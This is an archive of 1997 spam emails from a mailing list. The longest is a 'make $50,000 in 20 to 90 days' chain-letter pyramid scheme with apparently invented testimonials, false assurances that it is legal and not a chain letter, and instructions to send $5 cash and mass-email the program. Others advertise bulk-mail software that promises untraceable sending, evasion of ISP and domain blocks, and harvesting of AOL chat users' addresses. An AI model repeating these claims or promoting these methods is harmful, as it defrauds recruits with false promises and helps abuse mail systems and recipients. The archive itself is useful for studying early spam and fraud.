In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes.  Here was a 
MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to start, without 
putting me further in debt.  After I got a pencil and paper and figured it out, 
I would at least get my money back.  After determining that the program is LEGAL 
and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any money 
for printing to send out the program, only the cost to fulfill my orders.  I am 
telling you like it is, I hope it doesn't turn you off, but I promised myself 
that I would not "rip-off" anyone, no matter how much money it cost me!

A good program to help do this is Ready Aim Fire,
an email extracting and mass mail program
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read the 
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS 
FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU 
DO!"  My first step in making $50,000 in 20 to 90 days was done.  By January 
30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, 
"YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, 
SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, 
RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 
96 more than I needed.  So I sat back and relaxed.  By March 19th, of my 
emailing of 10,000, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take time to 
read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember,  it wont 
work  if you don't try it.  This program does work, but you must follow it 
EXACTLY!  Especially the rules of not trying to place your name in a different 
place.  It doesn't work, you'll lose out on a  lot  of  money!  REPORT  #2  
explains this.  Always follow the guarantee, 15 to 20  orders  for REPORT #1, 
and 100 or more orders for REPORT #2 and you will make  $50,000 or more in 20 to 
90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really is a 
great opportunity with little cost or risk to you.  If you choose to 
participate, follow the program and you will be on your way to financial 
security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                      Sincerely,
                                      Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a 
kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                      Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch in life.  
You get out of life what you put into it.'  Through trial and error and a 
somewhat slow frustrating start, I finally figured it out. The program works 
very well, I just had to find the right target group of people to email it to.  
So far this year, I have made over $63,000 using this program.  I know my dad 
would have been very proud of me."

                                      Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for ten 
years.  Then in 1979 my business began falling off.  I was doing the same things 
that were previously successful for me, but it wasn't working.  Finally, I 
figured it out.  It wasn't me, it was the economy.  Inflation and recession had 
replaced the stable economy that had been  with us since 1945.  I don't have to 
tell you what happened to the unemployment rate...because many of you know from 
first hand experience. There were more failures and bankruptcies than ever 
before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  
The traditional methods of making money will never allow you to "move up" or 
"get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US and 
overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works 
exceedingly well as it is now.  Remember to email a copy of this exciting 
program to everyone that you can think of.  One of the people you send this to 
may send out 50,000...and your name will be on every one of them!.  Remember 
though, the more you send out, the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a little 
time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what 
could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any doubts 
you have will vanish when your first orders come in.  IT WORKS!

                                      Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a 5% 
response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have an 
internet connection and email is FREE!!!  REPORT#3 will show you the best 
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford research and The 
Wall Street Journal have stated that between 50% and 65% of all goods and 
services will be sold throughout Multi-level Methods by the mid to late 1990's.  
This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the 
US, 20% (100,000) made their fortune in the last several years in MLM.  
Moreover, statistics show 45 people become millionaires everyday through 
Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.  This is the GREATEST Multi-level Mail Order Marketing 
anywhere:

Step (1):   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by 
ordering the REPORT from each of the four 4 names listed on the next page.  For 
each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope  (BUSINESS SIZE 
#10) to the person listed for the SPECIFIC REPORT.  International orders should 
also include $1 extra for postage.  It is essential that you specify the NAME 
and NUMBER of the report requested to the person you are ordering from.  You 
will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them.  
DO NOT alter the names or sequence other than what the instructions say.  
IMPORTANT:  Always provide same-day service on all orders.

Step (2):   Replace  the  name  and  address  under  REPORT #1  with
yours,  moving the one that was there down to REPORT #2. Drop  the  name and 
address under REPORT #2 to REPORT #3, moving the one that was there to REPORT 
#4.  The name and address that was under REPORT #4 is dropped from the list and 
this party  is  no doubt on the way to the bank.  When doing   this,   make   
certain   you  type  the  names  and addresses ACCURATELY!  DO NOT MIX UP MOVING 
PRODUCT/REPORT     POSITIONS!!!

Step (3):  Having made the required changes in the NAME list, save it
as a text (.txt) file in it's own directory to be used with whatever email 
program you like.  Again, REPORT #3 will tell you the best methods of bulk 
emailing and acquiring email lists.

Step (4):   Email a copy of the entire program (all of this is very
important) to everyone whose address you can get your hands on. Start with 
friends and relatives since you can encourage them to take  advantage of this  
fabulous money-making opportunity.  That's what I did.  And they love me now, 
more than ever.  Then, email to anyone and everyone!  Use your imagination!  You 
can get email addresses from companies on the internet who specialize in email 
mailing lists.  These are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
__________________________________________________________
                                      Report # 1
"$50,000 FOR YOU"

ORDER REPORT #1 FROM:

AIS
P.O. Box 15148
Boston, MA 02215  
________________________________________________________
REPORT #2
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Mattpam Inc.
P.O. Box 803297
Santa Clarita, CA 91380-3297
________________________________________________________
REPORT #3
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #3 FROM:

Homeward Bound
P.O. Box 8614
Essex, VT  05451
________________________________________________________
REPORT#4
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #4 FROM:

R&D Development
2704  Apt. B 45th
Lubbock, Tx.  79413
________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say "NO" 
than "YES", and this is the question that you must answer.  Will YOU ignore this 
amazing opportunity or will you take advantage of it? If you do nothing, you 
have indeed missed something and nothing will change.  Please re-read this 
material, this is a special opportunity. If you have any questions, please feel 
free to write to the sender of this information.  You will get a prompt and 
informative reply. 

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably received 
chain letters, asking you to send money, on faith, but getting NOTHING in 
return, NO product what-so-ever!  Not only are chain letters illegal, but the 
risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material, the 
PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The information 
contained in these REPORTS will not only help you in making your participation 
in this program more rewarding, but will be useful to you in any other business 
decisions you make in the years ahead. You are also buying the rights to reprint 
all of the REPORTS, which will be ordered from you by those to whom you mail 
this program.  The concise one and two page REPORTS you will be buying can 
easily be reproduced at a local copy center for a cost off about 3 cents a copy. 
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no way that I 
could not get enough orders to at least get my money back.  BOY, was I ever 
surprised when I found my medium sized post office box crammed with orders!  I 
will make more money this year than any ten years of my life before."

                                      Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders 
start coming in.  When you receive a $5 order, you MUST send out the 
product/service to comply with US Postal and Lottery laws.  Title 18 Sections 
1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST BE EXCHANGED 
FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.    Name your new company. You can use your own name if you desire.

2.    Get a post office box (preferred).

3.    Edit the names and addresses on the program. You must remember,
      your name and address go next to REPORT #1 and the others all
      move down one, with the fourth one being bumped OFF the list.

4.    Obtain as many email addresses as possible to send until you
      receive the information on mailing list companies in REPORT #3.

5.    Decide on the number of programs you intend to send out.  The
      more you send, and the quicker you send them, the more money
      you will make.

6.    After mailing the programs, get ready to fill the orders.

7.    Copy the four 4 REPORTS so you are able to sent them out as
      soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.    Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must receive 
15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two 
weeks, email out more programs until you do.  Then a couple of weeks later you 
should receive at least 100 orders for REPORT #2, if you don't, send out more 
programs until you do.  Once you have received 100 or more orders for REPORT #2, 
(take a deep breath) you can sit back and  relax,  because  YOU  ARE  GOING TO  
MAKE  AT  LEAST  $50,000. Mathematically  it  is  a  proven  guarantee.   Of  
those  who  have participated in the program and reached the above 
GUARANTEES-ALL have reached their $50,000 goal.  Also, remember, every time your 
name is moved down the list you are in front of a different REPORT, so you can 
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."




---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frank <zreqdasetcv@aol.com>
Date: Wed, 28 May 1997 05:33:20 -0700 (PDT)
Subject: Tired of Not Making Money on the Internet?
Message-ID: <01ee52016121c57NIH2WAAE@csi.com>
MIME-Version: 1.0
Content-Type: text/plain


ROCKET Your Way To Wealth In Cyberspace


E-mail has proven to generate more response than any other form of communication. 

A Web site alone, posting through newsgroups and registering with a few search engines while placing a few classifieds just won't work.  What good is a Web page no one knows is there? 

Using Mass e-mail provides great rewards for very little effort, time or money  IF  YOU KNOW what you're doing.  
If you don't know what you're doing, This is what will happen:

Your Internet provider will SHUT YOU DOWN..
Your 800 phone bill WILL SOAR with nuisance calls.
Your e-mail box will EXPLODE with mail bombs.

It's not worth it to learn the hard way.

Capitalize on the failures of your competitors to identify and continuously reach the TRUE online consumers.  Get everything you need to know and use to produce MEGA INCOME ONLINE.

Why is it anyone who has ever used Floodgate,E-mail Magnet, NetContact or Lightening Bolt for on-line marketing been so disappointed with the results?

If you use any one of these programs with an ISP that frowns on Mass e-mail you are guaranteed to lose your account in a very short time.  What good are bulk email programs if you can't find a provider that will allow you to mass mail? Every one of these programs extract the same addresses from the same sources.  

If everyone's hitting the same prospects over and over, is it any wonder they get upset? 

UNTIL NOW, the 1000's of user's you really want to target have thus far gone un-noticed.  These are the users that are not active posting in the newsgroups and/or online classifieds.

Send your own bulk email to thousands of people, FOR FREE!

The complete BULKMAN-PRO Mailer Package comes with everything you need to  change your life.  There is nothing further to purchase.

BULKMAN PRO is compatible with Windows 3.1, Windows 3.11, Windows NT, and Windows 95.  All you need is an Internet connection.  Most online services or internet providers charge nothing to send e-mail.  Send your letter to 10,000 people or 100,000 people - the cost is always the same.  Nothing!

While the misinformed continue using such programs as Pegasus for sending mass e-mails to the same old prospects,  you'll be using BULKMAN-PRO to e-mail 16,000 + per day that are new and never have received mass email before.  Do you really have the time or desire to try and figure this out for yourself?

Stripping addresses yourself using the old methods is a time consuming, boring affair. You may see others shouting promises of how easy their program is, BUT while your competitor is actually mailing out their sales letter  you're  EITHER still stripping or stuck in the "I'll get to it" syndrome! 

If you buy and use any bulk e-mail list you will also get flamed, and/or mail bombed.  Your account will still be terminated.  These list are filled with traps, sysops, education, government and non-profit organizations just waiting to shut you down or post "Net Abuse" articles about you. Just because virtually every list is taken from names in newsgroups that are totally inappropriate to your product or service.  So, what seems like a bargain for $30 or $50 for a so-called million e-mail addresses will turn out to be a nightmare before it's over.

Learn how to create all the email addresses you will ever need on the fly without having to buy them or extract them from newsgroups, forums, membership directories, whatever - 100% deliverable too!  Push a button and have 100,000 addresses in no time.

Learn to identify All new users to the on-line world and email them before they leave (AND before anyone else could uncover them).

Keep your email address totally UNTRACEABLE!!!!  That's RIGHT - you will be able to mass e-mail without getting your account terminated.

Using the X-15 Rocket Mailer with the Bulk E-Mailer Tools & Guide will change your life.  The X-15 Rocket Mailer will enable you to sell like you've never sold before.  No other program even comes close to the successs you will find using the X-15.  Move light years ahead of the competition using the Bulk E-Mailer Tools & Guide.

WHAT YOU WILL RECEIVE WITH BULKMAN PRO

Bulkman Pro offers the following applications for the serious marketer who
isn't interested in "bulk hype"; just a serious application for making
serious money:

  CSAG address generator for generating thousands of addresses in minutes of
brand new members. No need to go hunting them down and extracting them from
online sources. On the average I can generate 5,000 100% deliverable
addresses of brand new members that NO ONE has mailed to in 5 minutes a
evening. Don't e-mail asking me how that is possible, I won't share the nuts
& bolts of it. This is a closely guarded trade secret that only is disclosed
to purchasers (I won't even allow images of it).

  X-15 mail system. X-15 not only sends your mail very quickly and easily,
it also will post messages to any number of selected newsgroups. If that
isn't enough, it will even extract addresses from any number of selected
newsgroups right off your host news server just like NetContact. You can
select to exclude any type of addresses from being captured very easily.

X-15 also has built in "Email Cloaking" to allow you to use your own local
ISP for sending your mail with, avoiding having to search for bulk friendly
ISP's or other undesirable means to accomplish mass mailings. Click here to
view X-15.

  ELM is a Email List Manager that will allow you to easily manage all your
lists with just your mouse. Here is some of the tasks accomplished by ELM:

   * 1) Compare and remove differences between any two lists.

   * 2) Merge any kind and number of lists and will auto sort and remove
     duplicates quickly.

   * 3) Split any list into smaller list.

   * 4) Generate targeted lists that matches your target audience to use
     with X-15 in mailing your message to.

   * 5) Generate AOL addresses from captured AOL chat rooms. AOL has over
     300,000 new members signing up a month, there is no other way of
     obtaining all these new members addresses than this. Using any other
     bulk mail program would only yield 5% of these new members!

   * 6) Auto extract 'remove' requests.

Complete users guide to help walk you along step by step in a hyper-link style format along with useful bonus software. Learn how to send mass e-mail ll the time without hassle and needing to join a service and for free if you wish. How to get around online services domain blocks so that all your
e-mail is assured of being delivered.

You will also receive software as a means to link you up to a mail gateway so that you can start sending mail thru right away without delay at
no cost or sign-up requirements if you so choose to use this option. You can
then securely send mass mail and post newsgroup messages anonymously. What a
deal!

If you are going to make MEGA Income in this business, there is only one way
to do it; and ONLY one way. I will reveal to you the right way so you can
stop doing it the wrong way. Let the competition continue doing it the old
way so you can cash in on their ignorance. You will NOT find this
information anywhere else. It is extremely confidential. You will be asked
to sign a non-disclosure with your order to prevent the disclosure of this
information.

If you are currently happy with your e-mail marketing, then it makes even
more sense to use this program to compliment your existing marketing to
maximize your marketing efforts because there is simply nothing like this!


BULKMAN-PRO was designed to sell for $1695.95
It is a Professional Bulk E-mail system.

Order within 10 days from the date on this message and you get:

The X-15 Rocket Mailer		Retail	$499.00
CSA Address Generator				$395.00
AOL Address Generator				$495.00
Bulk E-mail Tools & Guide				$299.00


Get the COMPLETE package for a INTRODUCTORY Price of $499.95 plus $3.50 Shipping & Handling.  All orders received after the tenth day following the date on this MESSAGE will be charged the normal discounted rate of $699.95 plus $3.50 Shipping & Handling

Also included if you order within the next 10 days:
BONUS*** FREE Newsgroup Posting device which allows you to
         post 1 or 1,000 newsgroups at once.
         FREE Bulk E-mail Extractor that allows you to                       	    extract e-mail addresses from the Internet.

SAVE $200 -  ORDER today!

Take Advantage of the 10 DAY DISCOUNT SPECIAL!

The BULKMAM PRO comes with a 100% UNCONDITIONAL MONEY BACK GUARANTEE.   You have everything to GAIN and NOTHING to lose!  

FOR YOUR CONVENIENCE WE ACCEPT ALL FORMS OF PAYMENT
CASH, CHECK, M.O., CREDIT CARD, CHECKS BY FAX, PHONE OR E-MAIL.

MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE

BULKMAN PRO is the complete Internet Business in a Box.

ROCKET YOUR WAY TO WEALTH IN CYBERSPACE!

NON-DISCLOSURE

I Agree not to reveal, make available the information I am to receive from Jim Smyser to anyone.  This information is confidential, and I hereby agree to keep it strictly confidential and to myself.

Signature: ____________________________________

GUARANTEE:  YOU HAVE A LIMITED 10 GRACE PERIOD in which you can return your purchase for full refund if it does not meet your requirements.  After 10 days there are no refunds.  Please understand this policy before ordering.

TO GUARANTEE YOU GET THE INTRODUCTORY PRICE
PLEASE INCLUDE A COPY OF THIS MESSAGE AND DATE RECEIVED.

(Name)_________________________________________
(Address)______________________________________
(City, State & Zip)____________________________
e-mail address ________________________________
WE ACCEPT CHECKS OVER THE TELEPHONE, OR BY FAX
for your orders.  
Fax your order to: 213-737-1497
Enclosed is a check for $___________
Check Ordering Info:
MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE
Name (exactly as it appears on check
_______________________________________
Check #				Dollar Amount
________________ 		$________________
Telephone #
__________________
Bank Name:
_____________________
Bank Address
______________________________________________
Numbers at Bottom of Check(read from left to right, please indicate blank spaces with a space:
________________________________________________
 
Charge My
(VISA) or (MASTERCARD) or (AMEX)
Number _ _ _ _ -_ _ _ _ -_ _ _ _ -_ _ _ _ 
Expiration Date _____    Approved ______________    
(card holder)  Credit Card orders call
1(213)-737-1494 

DISTRIBUTORS:

Snail mail Address 
Phoenix Interactive				Global Enterprises
P.O. Box 88506				7025 OldTrail Road Los Angeles, CA  90009	                                Suite9178	
		                                                Fort Wayne, IN                                                                                      46899

ANOTHER PHOENIX @ GLOBAL ASSOCIATION


 







 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SerenityInfo@savetrees.com
Date: Wed, 28 May 1997 08:33:31 -0700 (PDT)
To: Editor3333@aol.com
Subject: Big Sale!  3 million Emails for $500 Plus Free 2yr Autoresponder!
Message-ID: <0000000000.AAA000@savetrees.com>
MIME-Version: 1.0
Content-Type: text/plain



                                    TO BE REMOVED FROM OUR LISTS
                     Place REMOVE in the SUBJECT Line after hitting REPLY
       ************************************************************************************
                             
                            SERENITY ENTERPRISES UNLIMITED INC.
                                           The Email Professionals
                                                in partnership with
                                     Mail Boxes Etc.of South Florida
              Fax number 954-739-5296 for Checks by Fax or Credit Card Orders
                                      Phone Number 954-974-2938
       
                         Direct Email Address is Serenity@pinmail.com

               Special Services to be offered in the next few weeks to you!                 

                  LOWEST PRICE WEB HOSTING ANYWERE!  From $60 a Year!
         PINMAIL FOR PRIVATE MAIL AND FORWARDING SERVICE   $20 a Year!
                 Web Page Creations from $10 per page - We Won't be beat!

We have professional equipment set up to do your bulk Emailing at incredible prices.
                  We accepts checks (Snail Mail or by Fax) & Mastercard/Visa.

   SPECIAL LIMITED TIME BONUS OFFER!!!!  TO THE FIRST 25 RESPONDEES

We can send your One Page Ad (not co-op) to 3 million customers for only  $500.00
Plus a Bonus of 1.5 million in a Co-op AD with a smaller ad of course directing them
to your Autoresponder.  

            BUT YOU DON'T HAVE AN AUTORESPONDER YOU SAY!!!!

Well for the next 15 Customers that order a Full Page Ad to be emailed to 3 million for $500 
will get a BULLET PROOF AUTORESPONDER ABSOLUTELY FREE!  Just for advertising 
with us once!!!!  No hidden charges and no catches!  FOR TWO FULL YEARS!!!!!
It is yours to do with what you want.  

Our system is a stealth system which protects your privacy from those FEW that 
might aggrevate you over the Bulk Mail Issue.  This allows your potential customer 
immediate access to further information while protecting your Email address and 
allowing you to obtain the necessary information about the potential customer, including 
name, phone number, their email address, while giving them necessary phone numbers 
and ordering information.

We operate from an approved server which DOES NOT bother those that have their 
PREFERRED mail shut off at AOL.  Our mail gets to those that wish to view it and leaves those
that don't want it alone.

CO-OP ADVERTISING

We can send your Co-op Ad for as littles as $100 to 1 million people.  5 or 6 lines.

CHARITIES AND SPECIAL SITUATIONS MAY GET FREE EMAILING

Call on contact us for availability or whether the situation qualifies.

SPECIAL RATES FOR PERSONAL ADS (NON BUSINESS)
Such as selling a car, home, renting your home, apt., misc. items etc. Personal ads 
can go out in a Co-op advertisement for as little as $50 Call for rates.

        REPEAT OR FREQUENT ADVERTISERS CAN GET SPECIAL DEALS!
We have dedicated computers that just do Mass Emailing.  24 hours 7 days a week! 
Our system automatically removes Returns or Requests for Removal.

We DO THE MAILING we promise and can send you ONE email at any address you 
wish per every 1000 mailed if you so desire.

NO MORE SCAMS for WE ARE REAL and if you want to REALLY SEND YOUR EMAIL  
the time is RIGHT NOW!!!

                         For More Information Email  "General2@answerme.com"

                                 Please Include your Name and Phone number

                                            Or Call Us at 954-974-2938

                                    Email us Directly at Serenity@pinmail.com
     
              *********************************************************************************

















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 47574096@microsoft.com
Date: Wed, 28 May 1997 23:25:18 -0700 (PDT)
To: scholar@archaeology.com
Subject: Mysteries of the Bible - Live on Tuesdays on the Web
Message-ID: <144523806421342786@scholarship.org>
MIME-Version: 1.0
Content-Type: text/plain



****** NOTE: There is no cost to enroll in this program. 
To participate and for further information please 
reply with the word "yes" in the subject line. ******


              A N N O U N C E M E N T

      Live on the Internet every Tuesday Night

   "Mysteries of the Bible Revealed and Resolved"

Contrary to the popular opinion created by Time and
Newsweek, every historical event in the Tanakh can be found
in the archaeological and historical records of the Near
East when our revised chronology is taken into account.

All events from Sodom and Gomorrah, through the captivity
in Egypt, the subsequent conquest of the land of Canaan to
the story of Esther will be presented in its archaeological
and historical context and the Biblical account shown to be
completely accurate.

Every Tuesday night, one topic will be presented live on
the Internet starting in the next few days with visuals,
expert interaction and debate by all who wish to be
involved. Each topic will be presented to enable the widest
possible audience to understand and participate. Moderated
by experts in each field.

Please inform all your friends and ask them to send their
e-mail address to:

bible@primesolution.com

for ongoing information.

Some topics to be covered include:

Creation vs. Evolution
Codes in the Torah.
Sodom & Gomorrah: 1.5 million bodies found!
The Famines of the Patriarchs - In Egyptian Records!
The Pyramids and The Sphinx, tombs or .......?
Kabbalah.
Who was the Pharaoh of the Exodus?
Dan, Dan, The Travelling Man
The Hyksos/The Israelites.
The Jericho Story: The Bible and the Archaeology match
at last.
The City of David found.
Solomon's Family - a son in Egypt!
Raiders of the Lost Ark: Found.
Hear Oh Israel, Where Oh Israel?...The Lost tribes...found.
Ezra and The Great Assembly?
The Aleph-Bais, alphabet or Holy Language?
Esther the truth at last.
The Dead Sea Scrolls, a mystery solved.
The Messiah in Prophesy and Reality.
The Times of the End.
etc.etc.etc.

Please note that the focus of this program is scholarly
rather than religious.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: maxx@compuserve.com
Date: Thu, 29 May 1997 03:11:13 -0700 (PDT)
To: Friend@public.com
Subject: Best 100% anonymous e-mail software on earth!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Very low prices - far superior to Email Magnet, NetContact, Email Pro, Stealth Bomber etc.

For details - see www.cybermaxx.com
Or email maxx@keepmailing.com for enquiries.

Thank you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PROKILL@axp.cmpu.net
Date: Thu, 29 May 1997 18:59:15 -0700 (PDT)
To: wonderfulperson@aol.com
Subject: MIDI files galore and much, much more!!
Message-ID: <199702170025.GAA08056@prokill.com>
MIME-Version: 1.0
Content-Type: text/plain


You'll just love it. Click on it now, don't wait, bookmark it and keep checking it 
out for great deals to come. 

"http://www.angelfire.com/ky/PROKILL/index.html"

Please forgive me for this e-mail, but I felt I just had to let more
people know about this great web page.

This page has many wonderful and exciting things on it.
More will be added daily! Bookmark it!

Roach Exterminator 

Kills Waterbugs, Silverfish, and Ants. Where they travel and in
their nests. Is an oderless white powder. This formula was proven to 
be 100% effective against Cockroaches and Waterbugs by the University 
of California over 30 years ago. Supplied in 4 oz. containers, enough 
to treat several average houses. The sprays all really useless when 
compared to this product. The ULTIMATE goal is to eliminate roaches
completely, but sprays just don't kill the cockroaches' eggs.

Follow use and safety instructions supplied with products.

Total cost is only $2.05 plus $2.95 for shipping and handling. For each
order, send $5.00 to: 
                   PRO-KILL 
                   79 Rose Marie Drive 
                   Elizabethtown, KY 42701

Online Ordering is available at:
"http://www.angelfire.com/ky/PROKILL/index.html"

GURANTEED to work!! Guranteed to love the webpage!
The new web page at "http://www.prokill.com/" will be great. It is not working yet.
We are making a deal to also have CD-ROMs (not XXX) for sale. 


Send us email at: "mailto:roachkill@prokill.com"

